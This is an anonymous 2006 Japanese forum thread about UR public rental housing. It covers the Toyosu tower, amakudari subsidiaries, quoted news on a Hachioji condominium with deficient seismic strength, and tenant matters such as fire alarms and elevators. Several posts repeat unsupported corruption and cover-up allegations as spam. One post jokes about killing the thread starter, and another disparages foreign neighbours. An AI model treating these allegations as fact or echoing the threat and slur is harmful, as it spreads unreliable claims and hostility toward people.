全て下請けに丸投げしていることを見ればわかる。

唯一子会社の社員ができることはオンライン伝票入力作業と電話転送だけ。
しかも同じ部署で10年かかってやっと一人前になる程度。

末端でURの業務を行う下下請負人員は一般に失業者の一時雇用。欠陥マンションや
事故の回避は不可。


68 :名無し不動さん:2006/08/08(火) 21:37:29 ID:/pLXaHwP
URの理事がUR天下りのためにUR自身で設立した、業務丸投げの
ピンはね専門の人材派遣会社「財団法人住宅管理協会」を
指していると思われます。

もちろんUR100%出資法人で、業務はURと100%特命随意契約で、
理事・役員・管理職を100%UR(一部国交省)の天下りとURからの出向
(UR職員数削減を見せかけるため書類上は転職だが実態は単なる出向)
で押さえられてるトンデモない「公益!」法人です。

UR本体はいくらでも税金投入できるので20兆円だろうが30兆円だろうが
URの巨額赤字はUR職員にとって赤の他人事の世界ですが、天下り子会社は
直接税金投入できないので、URがカネを分け与える胴元の役割を果たしています。

要するに、URの最大の役割(任務・目的・設立意義)は、数多の子会社に
天下っている元UR職員に税金をばら撒くための中間法人というのがその実態です。

69 :名無し不動さん:2006/08/08(火) 21:53:22 ID:???
アンチスレじゃないので、ネガティブキャンペーンを続けたいなら
別の場所でやってくれないかな。

あからさまな荒らしだと体裁が悪いので、隠れ蓑として使って
いるんだろうけど、本当の目的が透けて見えるからなぁ。
はい、豊洲、豊洲。

70 :名無し不動さん:2006/08/08(火) 21:56:31 ID:???
URの理事がUR天下りのためにUR自身で設立した、業務丸投げの
ピンはね専門の人材派遣会社「財団法人住宅管理協会」を
指していると思われます。

もちろんUR100%出資法人で、業務はURと100%特命随意契約で、
理事・役員・管理職を100%UR(一部国交省)の天下りとURからの出向
(UR職員数削減を見せかけるため書類上は転職だが実態は単なる出向)
で押さえられてるトンデモない「公益!」法人です。

UR本体はいくらでも税金投入できるので20兆円だろうが30兆円だろうが
URの巨額赤字はUR職員にとって赤の他人事の世界ですが、天下り子会社は
直接税金投入できないので、URがカネを分け与える胴元の役割を果たしています。

要するに、URの最大の役割(任務・目的・設立意義)は、数多の子会社に
天下っている元UR職員に税金をばら撒くための中間法人というのがその実態です。



71 :名無し不動さん:2006/08/08(火) 21:59:12 ID:???
また、コピペ。
単にスレ流しですね。
実は大して関心が無いのは確かみたい。

はい、豊洲ですね。
また、コピペしたら豊洲クン確定。

72 :名無し不動さん:2006/08/08(火) 22:10:19 ID:???
「元はと言えば、国民の財産じゃないですか?公金が投入されてるじゃないですか」
<UR職員>「私どもの所有であるし、私どもの建物ですから」
<記者>「国民の財産の一部とはお考えになりませんか?公金が投入されているというご自覚はありませんか?」
<UR職員>「私ども公的企業ですので、広い意味では全て公金です」
議論はかみ合わない。
<民主党の尾立源幸議員>
「財務体質を良くしていかなければならない使命がある中では、ここは民間に売却して
資金を回収して借金を減らしていことが大事だと思います」
さらに問題なのは、都市機構は去年、国から何と9,000億円もの債権放棄を受けて
いることだ。
国民から集めた年金の保険料や、郵便貯金を運用している特別会計・財政投融資から
借金の利子をチャラにしてもらったのだ。
公益法人に詳しい北沢栄教授も、こう批判する。
<東北公益文科大学・北沢栄教授>
「結局、これ国民の金ですよね。破たん状態なんですけど、彼らに破たんて概念ないん
ですよね。自己責任でやってませんから。国から出ますから、お金が。言わば、壮大な
ムダ使いをしてたわけです」
機構側に再度、認識を尋ねた。
<都市機構西日本支社・岡田博副支社長(当時)>
(Q.副支社長、この宿舎は国民のご理解を得られますか?)
「……」

73 :名無し不動さん:2006/08/08(火) 22:12:25 ID:???
また、コピペ。
自分の意見がないね。

自分の意見は言えないもんね。
豊洲に入りたいなんてね。

74 :名無し不動さん:2006/08/08(火) 22:22:19 ID:???
「元はと言えば、国民の財産じゃないですか?公金が投入されてるじゃないですか」
<UR職員>「私どもの所有であるし、私どもの建物ですから」
<記者>「国民の財産の一部とはお考えになりませんか?公金が投入されているというご自覚はありませんか?」
<UR職員>「私ども公的企業ですので、広い意味では全て公金です」
議論はかみ合わない。
<民主党の尾立源幸議員>
「財務体質を良くしていかなければならない使命がある中では、ここは民間に売却して
資金を回収して借金を減らしていことが大事だと思います」
さらに問題なのは、都市機構は去年、国から何と9,000億円もの債権放棄を受けて
いることだ。
国民から集めた年金の保険料や、郵便貯金を運用している特別会計・財政投融資から
借金の利子をチャラにしてもらったのだ。
公益法人に詳しい北沢栄教授も、こう批判する。
<東北公益文科大学・北沢栄教授>
「結局、これ国民の金ですよね。破たん状態なんですけど、彼らに破たんて概念ないん
ですよね。自己責任でやってませんから。国から出ますから、お金が。言わば、壮大な
ムダ使いをしてたわけです」
機構側に再度、認識を尋ねた。
<都市機構西日本支社・岡田博副支社長(当時)>
(Q.副支社長、この宿舎は国民のご理解を得られますか?)
「……」



75 :名無し不動さん:2006/08/08(火) 23:40:49 ID:???
"民主党の尾立源幸議員"は国会で問題にして行政の是正か、
立法活動をして問題を解決したのか?
ただ、視察しただけなのか?

76 :名無し不動さん:2006/08/08(火) 23:47:55 ID:cyLfUXsH
月島の頃からみてるけどタワー物件の募集があると必ず荒らしが出るね。
こんな病的なのはそんなにいないだろうから同一人物だろうと思われ。
隣にこんなのがきたらヤだねぇ

77 :名無し不動さん:2006/08/08(火) 23:51:29 ID:???
隣に住んでいる香具師が2ちゃんのコピペ厨でも

 別 に 大 し た こ と は な い !

と、おもうぞ。

78 :名無し不動さん:2006/08/08(火) 23:55:17 ID:???
>>77
気持ち悪い。

79 :名無し不動さん:2006/08/08(火) 23:56:57 ID:???
コピペぐらいじゃ実害はない。


80 :名無し不動さん:2006/08/09(水) 00:23:40 ID:l+PoUvaT
URの理事がUR天下りのためにUR自身で設立した、業務丸投げの
ピンはね専門の人材派遣会社「財団法人住宅管理協会」を
指していると思われます。

もちろんUR100%出資法人で、業務はURと100%特命随意契約で、
理事・役員・管理職を100%UR(一部国交省)の天下りとURからの出向
(UR職員数削減を見せかけるため書類上は転職だが実態は単なる出向)
で押さえられてるトンデモない「公益!」法人です。

UR本体はいくらでも税金投入できるので20兆円だろうが30兆円だろうが
URの巨額赤字はUR職員にとって赤の他人事の世界ですが、天下り子会社は
直接税金投入できないので、URがカネを分け与える胴元の役割を果たしています。

要するに、URの最大の役割(任務・目的・設立意義)は、数多の子会社に
天下っている元UR職員に税金をばら撒くための中間法人というのがその実態です。

81 :名無し不動さん:2006/08/09(水) 00:28:32 ID:???
豊洲か〜。
しかし、タワーなら何でもいいのかね??
馬鹿だよな〜・・・

82 :名無し不動さん:2006/08/09(水) 00:53:21 ID:???
職員同行なら予約なしでも見れるって書いてあるじゃん。

61 :名無し不動さん :2006/08/08(火) 09:32:34 ID:???
>>58
職員がいても鍵を予約して借りないと
見れないって書いてあるじゃん。

83 :名無し不動さん:2006/08/09(水) 00:53:28 ID:NEnK33cX
そろそろURも解体して負債を整理せざるをえないな。
まさかこれ以上の債権放棄や税金投入も難しいし。
最後は国民負担なんて今のご時世ではとても無理。解体かな。

84 :名無し不動さん:2006/08/09(水) 00:54:40 ID:???
ほんとうに新築狙いだったら荒らすはずがない。
荒らしたら>>1が暴れだして逆効果になることは目に見えてる。

69 :名無し不動さん :2006/08/08(火) 21:53:22 ID:???
アンチスレじゃないので、ネガティブキャンペーンを続けたいなら
別の場所でやってくれないかな。

あからさまな荒らしだと体裁が悪いので、隠れ蓑として使って
いるんだろうけど、本当の目的が透けて見えるからなぁ。
はい、豊洲、豊洲。

85 :名無し不動さん:2006/08/09(水) 00:55:50 ID:???
ほんとうに新築狙いだったら荒らすはずがない。
荒らしたら>>1が暴れだして逆効果になることは目に見えてる。

71 :名無し不動さん :2006/08/08(火) 21:59:12 ID:???
また、コピペ。
単にスレ流しですね。
実は大して関心が無いのは確かみたい。

はい、豊洲ですね。
また、コピペしたら豊洲クン確定。

86 :名無し不動さん:2006/08/09(水) 01:04:49 ID:???
ほんとうに新築狙いだったら荒らすはずがない。
荒らしたら>>1が暴れだして逆効果になることは目に見えてる。

73 :名無し不動さん :2006/08/08(火) 22:12:25 ID:???
また、コピペ。
自分の意見がないね。

自分の意見は言えないもんね。
豊洲に入りたいなんてね。

87 :名無し不動さん:2006/08/09(水) 01:08:47 ID:???
同一人物だと思い込むのは>>1の自由。
荒れるのはしょうがないわな、倍率高いから。

76 :名無し不動さん :2006/08/08(火) 23:47:55 ID:cyLfUXsH
月島の頃からみてるけどタワー物件の募集があると必ず荒らしが出るね。
こんな病的なのはそんなにいないだろうから同一人物だろうと思われ。
隣にこんなのがきたらヤだねぇ

88 :名無し不動さん:2006/08/09(水) 01:10:45 ID:???
荒らしが同一人物だと思い込んでる>>1こそ馬鹿。

81 :名無し不動さん :2006/08/09(水) 00:28:32 ID:???
豊洲か〜。
しかし、タワーなら何でもいいのかね??
馬鹿だよな〜・・・

89 :名無し不動さん:2006/08/09(水) 01:13:01 ID:???
豊洲って何がいいの?
ちょっと強気な家賃だし・・・
住むとステータスがあるのかな?


90 :名無し不動さん:2006/08/09(水) 01:16:13 ID:???

997 :名無し不動さん :2006/08/07(月) 02:59:16 ID:???
地下鉄直結だから


998 :名無し不動さん :2006/08/07(月) 03:03:52 ID:???
銀座まで10分


999 :名無し不動さん :2006/08/07(月) 03:04:35 ID:???
雨も風も紫外線も関係なし。毎日デパ地下でお買い物。


91 :名無し不動さん:2006/08/09(水) 01:18:41 ID:???
都内では八王子と豊洲にしかない50万ボルト変電所があるから停電に強い。

92 :名無し不動さん:2006/08/09(水) 01:46:01 ID:???
とりあえず荒らしがいない時間帯にあげて
2chのみんなに豊洲タワーの素晴らしさを伝えておこう

豊洲最高!

93 :名無し不動さん:2006/08/09(水) 01:47:17 ID:???
俺は他のところからこぴぺしてもいいと思うんだよね
この板でまだ出たことがない意味のあるこぴぺなら

ただしおなじこぴぺを何度もされると邪魔したくなる

94 :名無し不動さん:2006/08/09(水) 01:53:20 ID:C20I7fn4
URもよくやるよ。
耐震偽装であれだけ問題になったのに。いまだかって誰も責任を取らないし、
他の物件についてはほとんど検査してないんだろう。
賃貸なんてなおのこと。阪神淡路大震災みたいなことには2度とならない。
旨く回りも全部倒壊してくれると分からないが、周りはたいして壊れないで
公団住宅だけが倒壊したらさすがにごまかせない。

95 :名無し不動さん:2006/08/09(水) 02:31:12 ID:???
>>82
職員が鍵持ってないのにどうやって部屋に入るんだ?

96 :名無し不動さん:2006/08/09(水) 04:08:57 ID:???
>>89
所詮豊洲だからねえ。
URのタワー物件は比較的割高。

97 :名無し不動さん:2006/08/09(水) 06:15:16 ID:???
>>91
ガスの科学館だってあるから爆発事故にも強い

98 :名無し不動さん:2006/08/09(水) 06:43:24 ID:???
月島やら清澄白河よりはさすがにマシな場所だとは思うが
それにしても高い。

99 :名無し不動さん:2006/08/09(水) 07:38:46 ID:???
ほんとうに新築狙いだったら荒らすはずがない。
荒らしたら>>1が暴れだして逆効果になることは目に見えてる。

71 :名無し不動さん :2006/08/08(火) 21:59:12 ID:???
また、コピペ。
単にスレ流しですね。
実は大して関心が無いのは確かみたい。

はい、豊洲ですね。
また、コピペしたら豊洲クン確定。


100 :名無し不動さん:2006/08/09(水) 10:16:57 ID:???
>>90
それらのメリットも、それなりの金がなきゃ、無意味。
ハレの空間が日常化してもすぐに飽きてくる。
もっと、生活環境考えた方が、長い目で見れば得策。

101 :名無し不動さん:2006/08/09(水) 10:17:17 ID:U9z8xggV
★都市再生機構のマンション、耐震強度は基準の58%
 2006年6月2日3時3分 読売新聞
 http://www.yomiuri.co.jp/national/news/20060602i101.htm?from=main1

 構造計算書を多数紛失していた独立行政法人・都市再生機構(旧都市基盤整備公団)が、
東京都八王子市で1989年に分譲したマンション1棟の耐震強度が、最弱部分で基準の
58%しかないことが、社団法人・日本建築構造技術者協会(JSCA)の調査で分かった。

 建築確認が免除されている公的機関が建設した建物の設計で強度不足が確認されたのは
初めて。また機構はこのマンションの計算書も紛失したとして、「再々計算書」を作成したが、
JSCAの分析では、同計算書には柱の強度の水増しなど十数件の不審点があった。

 事態を重く見た国土交通省は、機構の担当者から事情を聞くなど調査に乗り出す方針。
このマンションでは悪質な手抜き工事も判明しており、機構による住宅の信頼性は大きく
揺らぐことになりそうだ。

 同マンション群では、鉄筋不足など手抜き工事が次々と発覚し、46棟中20棟を建て直す
異常事態となっている。問題のマンションは建て替え対象とはなっていないが、手抜き工事も
加わって実際の強度は58%を下回る恐れもある。

 国などに準ずる機関とされる都市再生機構は、建築確認を免除されており、計画を自治体に
通知するだけで建設に着手できる。今回、強度不足が判明したことで、構造計算書を点検する
動きが他の機構マンションにも広がる可能性もある。


102 :名無し不動さん:2006/08/09(水) 11:48:07 ID:???
>>95
現地案内所の職員なら鍵は持ってる。

103 :名無し不動さん:2006/08/09(水) 18:07:05 ID:mRRIUK+1
耐震強度不足マンション、国交省が都市再生機構聴取へ
 
 独立行政法人・都市再生機構(旧都市基盤整備公団)が分譲した
東京都八王子市のマンションの耐震強度が基準の58%しかないこ
とが 判明した問題で、国土交通省は2日、同日中にも機構の担当者
を呼んで 事情を聞くとともに、機構が作り直した最新の構造計算書
について、 日本建築構造技術者協会(JSCA)などの専門機関に
鑑定を依頼する よう指示することを決めた。
 北側国交相は2日の閣議後会見で、「この事案は極めて遺憾。
とんでも ない手抜き工事を機構が見抜けず、保存すべき構造計算書
を紛失、再計算 でもミスがあった」と数々の不手際を批判。「居住
者の方々からどうなっ ているのかと思われるのは当然で、誠心誠意
解決に取り組んでもらいたい」 と述べた。
 このマンションを巡っては、同機構が「紛失」を理由に作り直した
「再計 算書」に数値の誤りが見つかり、「再々計算書」についても、
JSCAの鑑 定で数値の水増しなどが見つかった。機構は最新の「再
々々計算書」を作成 済みだが、住民にはまだ示していない。
(2006年6月2日12時35分 読売新聞
http://www.yomiuri.co.jp/feature/fe5500/news/20060602it06.htm


104 :名無し不動さん:2006/08/09(水) 18:35:05 ID:???
はいはい豊洲タワー最高!

105 :名無し不動さん:2006/08/09(水) 21:40:53 ID:JYnUmeOa
室内の火災感知器の点検って年に2度くらいですか?
なんか頻繁すぎる気が。



106 :名無し不動さん:2006/08/09(水) 21:48:27 ID:???
おれのところは部屋の外から点検ができるそうで、
室内には入らなかった。

107 :名無し不動さん:2006/08/09(水) 21:54:19 ID:???
年に何回?

108 :名無し不動さん:2006/08/09(水) 23:18:36 ID:???
火災感知器の点検は年3回??



109 :名無し不動さん:2006/08/10(木) 00:49:40 ID:???
年に1回で十分でしょ。

110 :名無し不動さん:2006/08/10(木) 01:11:56 ID:???
>>102
俺の時は無いから予約して借りてくれって言われたけどな。

111 :名無し不動さん:2006/08/10(木) 01:18:13 ID:???
点検が多い割に誤作動するんだよな
夜中や明け方に警報ならしまくるのはマジ勘弁してもらいたい

112 :名無し不動さん:2006/08/10(木) 07:09:01 ID:???
俺も誤警報体験した。
退去した部屋を手直ししている時にあった。


113 :名無し不動さん:2006/08/10(木) 19:05:18 ID:???
警報聞いたことないから、本番でそれとわかるかどうか自信がない。
いっぺん誤作動にめぐりあいたい。

114 :名無し不動さん:2006/08/10(木) 19:50:01 ID:???
↓こんなことURの物件でもありますか?今のマンション(民間・賃貸)はたまにあります…orz
http://oshiete.homes.co.jp/kotaeru.php3?q=1527997

115 :名無し不動さん :2006/08/10(木) 22:21:02 ID:SL+QbSlZ
広尾と三鷹台の再募集のお知らせが届いた。
高家賃物件ばかり。

116 :名無し不動さん:2006/08/10(木) 22:32:09 ID:tjBX7xY7
そもそもUR子会社って。。。

理事クラスは国土交通天下り先でその無能な会社を食わせるためにURから特命随意契約で仕事を仕入れているだけネ。
社員実態は若い民間就職難民、失業者、雇用のない高齢者、民間の仕事が一切できない零細企業ネ
こんなのとUR事務職員の天下りOBが渾然一体となり目的の無いカオス会社を形成中。
「委託がいないと困るでしょ〜w」とピンハネ【命】の子会社の馬鹿は良く言うが、委託の中身は
殆ど零細下請け企業ばっかりでURは失業者雇用対策事業団みたいだ。

           壮 大 な る 税 金 の 無 駄 


117 :名無し不動さん:2006/08/10(木) 22:45:25 ID:???
警報って言うか車がバックする時みたいなメロディーが鳴って
女の人の声みたいな電子音声で「この部屋の近くで火災が発生しています」
って繰り返し繰り返し喋る感じ。
明け方に誤警報が発報したとき、ずいぶん長い間バックするトラックがいるなーって思いながら寝てた。

118 :名無し不動さん:2006/08/10(木) 23:47:02 ID:dct17PLJ
都市再生機構(公団)の家賃について一言。
以前は地価に連動して家賃を決めていたから、地価が上がっていたときは家賃の
値上げをしていた。
地価が下がりはじめたら、途端に家賃の決め方を変えて、民間準拠方式。
地価が下がっても、家賃が下がらない。
準公務員の給与を維持するために家賃を人為的に操作してるとしか思えない。


119 :名無し不動さん:2006/08/10(木) 23:59:30 ID:???
契約のとき住宅管理協会がNHKの営業の代行をやってたな

120 :名無し不動さん:2006/08/11(金) 00:03:44 ID:???
建物内にNHKのブースを作らせてたしな。
それはいいとしても点検確認書出した後でNHKの職員が付きまとってきた。

121 :名無し不動さん:2006/08/11(金) 00:06:24 ID:fdYtIw1V
分譲は買った住民が文句言って調査できる。
賃貸住宅は機構がお手盛りで問題ありませんと一言、だれがチェックできるんだろ。
書類はお見せできません。居住者に不安を与えるから、とか情報公開対象ではありません。
だって。フューザーの 小島社長、 地震がくるまで公表しないでおこう、地震じゃ
だれも確認できないから とのたまわったとか。
誰も確認できないので問題ありませんと突っぱねましょうと幹部会議で決まったとか
決まらなかったとか。
小野逮捕で実態解明に突入か?

信じられますか皆さん、建てた建物分譲だけ問題があって、賃貸建物問題無いなんて。
 同じ職員達が監督してたんです夜。同じ連中が書類流してたんですよ。 かわいそ、
賃貸の方達早く考えないと貴方の大事な子供を失うかも。

122 :名無し不動さん:2006/08/11(金) 00:09:27 ID:???
機構の人間を部屋に入れる時は一応テレビのアンテナケーブルと電源ケーブル
をはずしといた方がいいかもな。

123 :名無し不動さん:2006/08/11(金) 17:36:08 ID:???
冷房壊れた。
窓閉めたまま運転してた。帰宅して気づいた。窓用なんて嫌いだ。


124 :名無し不動さん:2006/08/11(金) 21:08:02 ID:???
>>115
広尾のキャンセルは何が原因なんだろう?

125 :名無し不動さん:2006/08/11(金) 22:10:48 ID:7+0UZe5X
57 名前:名無し不動さん :2006/08/06(日) 16:54:03 ID:7vYu+yCx
自治会とか共産党の指導の下にあるの?
俺はそんなところに金がまわるのには反対なんで。


58 名前:名無し不動さん :2006/08/06(日) 19:56:16 ID:???
>>57
うちの自治会は共産党の息がかかっている。反共産の俺は
自治会加入していない。別に入らなくてもいいって、URの人も
言っていたし。


59 名前:名無し不動さん :2006/08/07(月) 16:15:00 ID:MqNX2NNl
>>57
自治会にもよると思うけど、共産党の区・市議会議員と政治的に繋がっている自治会は多いと思うよ。
うちの自治会は役員がハッキリと「共産党の市議さんにお願いしています」と公言してるしw

もちろん自治会への加入は任意。強制力は全く無し。
はっきり言って、こんな政治的な自治会ならば無くなってほしい。


126 :名無し不動さん:2006/08/11(金) 22:53:53 ID:???
>>124
オウム

127 :名無し不動さん:2006/08/11(金) 23:22:39 ID:IIBI8xuL
>>124
共産

128 :名無し不動さん :2006/08/12(土) 00:03:00 ID:sWeP3kMV
牟礼の再募集も届いたよ。
これまた高家賃物件ばかりです。

129 :名無し不動さん:2006/08/12(土) 00:20:18 ID:???
政治的な自治会なら、まだいいじゃん。
URじゃないけど、思考盗聴・仄めかし工作に参加する役員のいるとこなんか。。。

130 :名無し不動さん:2006/08/12(土) 00:28:11 ID:7beWGKbM
社保庁職員が年金情報16人分無断持ち出し、書類送検
 東京都内のマンションで共産党の機関紙などを配り、1審で有罪判決を受けた社会保険庁
の男性職員(52)が、年金加入者16人分の個人情報を記載した印刷物を無断で職場から
持ち出していたとして、警視庁公安部が、窃盗容疑で書類送検していたことが6日わかった。
 男性職員の自宅からは、印刷物と同一の個人情報が書き込まれた共産党の政治活動用カード
数枚が押収されていた。公安部は男性職員が個人情報を流用しようとした可能性もあると見ている。
 調べによると、男性職員は、府中社会保険事務所(東京都府中市)に勤めていた2000年
ごろと目黒社会保険事務所(目黒区)勤務の03年ごろ、数回にわたり、職場の端末機器を操作し、
年金加入者16人分の基礎年金番号や氏名、住所、生年月日などを計18枚の用紙に印刷、都内の
自宅に持ち帰った疑い。印刷はいずれも勤務時間中に行われていた。
 公安部によると、印刷物は共産党が支持拡大のために使用する「対話・支持カード」と一緒に
社会保険庁の封筒に入れられ、うち数枚のカードに、これらの印刷物の記載内容と全く同じ氏名
や住所、基礎年金番号が書き込まれていた。このカードは、同党の党員などが有権者と面接した際、
党の政策についての反応などを書き込むものだった。


131 :名無し不動さん:2006/08/12(土) 13:47:54 ID:kziGAnbb
>>同機構は「一部に設計ミスはあるが、全体的には耐震基準を満たしている」と主張しており、

この集団ぜったい悪いと言わないぞ。追い詰められて追い詰められて始めて認める。

南大沢10年かかった。10年だぞ。 家の中で雨漏れに泣かされ、そんな最中 公団、今URにのほほーんといる連中、(個人名出したいけれど自粛、自粛、本の出版迄。)晴れた日に来て何処に雨漏れが、雨垂れて無いじゃ無いですか。 あほぼけ 責任回避のうまい集団。

その論拠が崩れても、言い張った職員責任取らず、シラン顔。
よっぽど面の皮が厚いんだよな。


132 :名無し不動さん:2006/08/12(土) 14:14:20 ID:???
10年掛かったわりに、今になって急に書き始めるのはなぜでしょう。
何らかの事情があるんでしょうね。キーワードはたぶん豊洲。

本日、豊洲シエルの分譲エリアの内覧会をやっていますね。
賃貸エリアもかなり出来ているんでしょうね。

133 :名無し不動さん:2006/08/12(土) 17:11:32 ID:ijER8MTf
★都市再生機構のマンション、耐震強度は基準の58%
 2006年6月2日3時3分 読売新聞
 http://www.yomiuri.co.jp/national/news/20060602i101.htm?from=main1

 構造計算書を多数紛失していた独立行政法人・都市再生機構(旧都市基盤整備公団)が、
東京都八王子市で1989年に分譲したマンション1棟の耐震強度が、最弱部分で基準の
58%しかないことが、社団法人・日本建築構造技術者協会(JSCA)の調査で分かった。

 建築確認が免除されている公的機関が建設した建物の設計で強度不足が確認されたのは
初めて。また機構はこのマンションの計算書も紛失したとして、「再々計算書」を作成したが、
JSCAの分析では、同計算書には柱の強度の水増しなど十数件の不審点があった。

 事態を重く見た国土交通省は、機構の担当者から事情を聞くなど調査に乗り出す方針。
このマンションでは悪質な手抜き工事も判明しており、機構による住宅の信頼性は大きく
揺らぐことになりそうだ。

 同マンション群では、鉄筋不足など手抜き工事が次々と発覚し、46棟中20棟を建て直す
異常事態となっている。問題のマンションは建て替え対象とはなっていないが、手抜き工事も
加わって実際の強度は58%を下回る恐れもある。

 国などに準ずる機関とされる都市再生機構は、建築確認を免除されており、計画を自治体に
通知するだけで建設に着手できる。今回、強度不足が判明したことで、構造計算書を点検する
動きが他の機構マンションにも広がる可能性もある。


134 :名無し不動さん:2006/08/12(土) 17:28:59 ID:???
でも、豊洲シエルは最新設計ですからねぇ。
実質的に駅ビルですから、あちこちからチェックが入っていると
思うんですよね。だから怪しい事はできないんじゃないかな。

超高層は基礎をしっかり造るから、普通の建物よりむしろ倒壊の
危険性は低いですし。

135 :名無し不動さん:2006/08/12(土) 17:34:41 ID:???
広尾の高額物件はやっぱ入らない罠
あれなら民間で探した方がええ

>>134
耐震については問題ないだろうけど火災の時はどうにもならんよ。

136 :名無し不動さん:2006/08/12(土) 17:39:25 ID:2yudEC8c
結局、都市再生機構のマンションの耐震偽装は、有耶無耶のままだからなあ。
職員専用のマンションは大丈夫だろうが。

137 :名無し不動さん:2006/08/12(土) 17:43:00 ID:???
>>136
職員用は万全だろw 鉄筋を割増にしてると思われ。
どうせ税金だから使い放題だし。アイランドタワーにいる
客に口の利き方知らない糞親父をクビにして経費削減してもらいたいもんだ

138 :名無し不動さん:2006/08/12(土) 18:37:07 ID:???
>>135
耐震についても実績がないから安心できない。
火災は1箇所だけならあまり問題ないけど巨大地震時に複数の階で同時に
発生すると厳しい結果になるとどこかで読んだ。
費用をできるだけ抑えるからスプリンクラーもまったく付けないか
付けても下層階だけだしね。

139 :名無し不動さん:2006/08/12(土) 18:41:54 ID:???
重量が巨大だから1フロアでもつぶれると総崩れになるとも聞いた。

140 :名無し不動さん:2006/08/12(土) 19:02:37 ID:TJat8Lth
大阪府池田市の閑静な住宅街・五月丘です。そして、こちらが都市再生機構の職員宿舎。
去年完成したばかりの真新しいマンションです
大阪府池田市に去年完成したのは、都市再生機構の職員専用マンション。
建設費6億7,000万円。4階建てで全60戸。
こちらはエレベーター付きだ。
特筆すべきは、その眺望。
池田市内はおろか、梅田のビル群までも見渡せる180度のパノラマ。
家賃はと言えば、2LDK(70〜71平方メートル)で、3万円〜3万3,000円。
3LDK(75〜78平方メートル)で、4万2,000円〜4万9,000円と破格
の安さだ。
<近所の人>
(Q.家賃は75平米で4万円くらいなんですよ)
「エーッ!すごいですね」
(Q.場所は最高ですよね?)
「そうなんですよ。場所はすごいイイなあと思ってて、建ったときに何の建物かと思ってました」
<近所の人>
「ウチのところは68平米で公団ですけど、12万円払ってます。眺めもイイし、うらやましい
 なあと主人と言ってました」
都市再生機構の労働組合は共産党系。

こういうことを平然とやる都市再生機構の建物について、一般用の耐震が大丈夫だと、どうして
言えるんだ?職員用が1で安全だとすると、一般客用は3分の1程度で0.3程度か?
ましてや、外部の検査を受けてないんだろう。

141 :名無し不動さん:2006/08/12(土) 20:54:59 ID:???
超高層に住む人 → 頭の悪い人

142 :名無し不動さん:2006/08/12(土) 21:13:59 ID:???
豊洲タワーはいりてぇぇぇえええええええええええええええええ!!!!!!!!


俺は埼玉県民

143 :名無し不動さん:2006/08/12(土) 21:21:57 ID:9FAqqgT/
ちくしょう・・・
ネットの先着順の物件で
2週間ぐらい予約されなかったのを
予約しようと思った途端、
誰かに取られたよ・・・


144 :名無し不動さん:2006/08/12(土) 22:17:57 ID:???
>>143
あるある。俺も同じフロアのメゾネットタイプの
角部屋を迷ってるうちに取られて
やむを得ず角部屋じゃないのにしたら片方の隣がガキ+外人で
階段付近の防音がイマイチのせいか
音立てて登られるとモロ響くからやんなる。

まあ当然そいつらは音立て捲くりで登ってくるから
もう俺も気を使って忍び足で登るのを止めた。

145 :名無し不動さん:2006/08/13(日) 08:56:54 ID:???
超高層でも見晴らしがいいかっていうと大抵近くに同じような建物があるから
大したことないんだよな。清澄白河のモデルルーム見たけど隣の建物の住人が
屋上からこっち見てて眺望はなんだか最低に近いものを覚えた。

146 :名無し不動さん:2006/08/13(日) 09:38:36 ID:???
でも、豊洲シエルの海側は何も無いんですよ。
しばらく何かが建つこともなさそうだし、数年後に建ったら引越しを
考えても良い訳ですしね。

147 :名無し不動さん:2006/08/13(日) 10:11:35 ID:???
>>146
それならいいんじゃないかな。超高層の場合は眺望目当てのひとが多いからね。

148 :名無し不動さん:2006/08/13(日) 11:11:24 ID:???
>>1を殺せばなんとかなる。

149 :名無し不動さん:2006/08/13(日) 11:26:39 ID:???
148を逮捕すれば犯罪が減る。

150 :名無し不動さん:2006/08/13(日) 12:18:22 ID:zjt6Dy7v
公団の住宅の広域地図みたいなのが
募集センターにおいてありますが、
そこにあきてある、
「市街地住宅」と「団地住宅」では
どうちがうんでしょうか?

構造的に団地住宅の方が
遮音性にすぐれてそうなkなんじが


151 :名無し不動さん:2006/08/13(日) 12:53:57 ID:U1vzN0an
公団住宅てどうしてスラム化するの?
管理費をケチって職員の豪華宿舎に消えるから?

152 :名無し不動さん:2006/08/13(日) 14:20:44 ID:???
職員の給料が安すぎるんだろ。もっと上げれば優秀な人材が確保できる。

153 :名無し不動さん:2006/08/13(日) 15:43:59 ID:???
優秀な人材を確保するために天下りの月給泥棒と無駄なオッサンオバハンを切ればいい。
若手職員はほんと頑張ってるよ。

154 :名無し不動さん:2006/08/13(日) 17:08:18 ID:???
もっと合理化すればいいんだよ。
普通の不動産屋みたく各地の営業センターで一括管理すべし。
現地案内所、管理室は不要。

155 :名無し不動さん:2006/08/13(日) 22:10:12 ID:???
優秀な人材雇っても、競争がなければすぐ腐る。
だいたい、URの仕事なんて凡人の仕事、なんの才能も必要ない。
必要なのはひとつひとつの仕事に気を抜かないこと、つまり競争が必要。
競争してないとすぐ気を抜くからね。



156 :名無し不動さん:2006/08/14(月) 02:51:04 ID:???
オッサン職員を見ていかに楽するかという点を競争してます

157 :名無し不動さん:2006/08/14(月) 09:08:42 ID:???
今朝防災放送で目が覚めた。付近一帯停電というお知らせ。
部屋に放送設備がついているのを初めて知った。

158 :名無し不動さん:2006/08/14(月) 17:24:34 ID:???
え?そんなもんどこについてる?

159 :名無し不動さん:2006/08/14(月) 17:59:24 ID:???
>>150
「市街地住宅」には地主がいる

160 :名無し不動さん:2006/08/14(月) 19:56:36 ID:???
>>158
おまえのボロ団地についてるわけねえだろ

161 :名無し不動さん:2006/08/14(月) 20:16:13 ID:???
>>159
ありがと
それだけの違いなのか・・・


162 :名無し不動さん:2006/08/14(月) 23:54:31 ID:???
某URだが、いきなり停電になったのだが、廊下は明かり点いてるし、
エレベーターは動いているしで、うちだけかと思った。
ところが、ブレーカーは落ちてないしで、2チャンネルチェックで
かなり広範囲なのがわかった。
その後、防災センターから放送があってびっくり。共有部分のバックアップしっかりしてるなぁ。

163 :名無し不動さん:2006/08/15(火) 10:44:00 ID:???
エレベーター止まらないのはいいね。

164 :名無し不動さん:2006/08/15(火) 11:35:56 ID:???
>>163
止めたくても止まらないことも。シンドラー製のはね。

165 :名無し不動さん:2006/08/15(火) 19:42:05 ID:???
またどこかでシンドラー製のエレベーターがとまって1時間ぐらい閉じ込められたらしい。
うちもシンドラー製だから不安だ。
みんなのところはシンドラー製?

166 :名無し不動さん:2006/08/15(火) 19:59:15 ID:???
広尾はウォシュレットが付いてて掃除が大変そう。
うちのタイプはトイレの幅が狭くて後ろの方は完全に掃除不可能。
図面で見たら6mmだった。他もはかったら6mmのところはABDGHだけで他は7mm。
7mmの所は掃除できるのだろうか。

167 :名無し不動さん:2006/08/15(火) 20:02:27 ID:???
